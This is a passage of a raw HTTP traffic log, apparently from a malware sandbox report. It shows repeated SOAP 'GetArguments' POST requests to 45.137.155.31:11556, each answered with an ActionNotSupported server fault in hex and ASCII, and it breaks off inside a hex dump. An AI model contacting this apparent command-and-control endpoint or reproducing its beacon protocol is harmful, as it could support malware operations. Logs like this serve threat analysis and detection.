Aug 3, 2021 23:10:10.328074932 CEST	10717	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:10 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:11.344665051 CEST	10718	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:11.415148020 CEST	10718	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:11.486316919 CEST	10719	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:11 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:12.501024961 CEST	10719	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:12.585501909 CEST	10719	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:12.658186913 CEST	10720	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:12 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:13.675179958 CEST	10721	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:13.744632006 CEST	10721	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:13.816641092 CEST	10722	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:13 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:14.828883886 CEST	10722	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:14.898996115 CEST	10722	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:14.970223904 CEST	10723	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:15.985460997 CEST	10724	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:16.055313110 CEST	10724	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:16.125130892 CEST	10725	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:16 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:17.141448975 CEST	10725	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:17.210504055 CEST	10725	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:17.283729076 CEST	10727	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:17 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 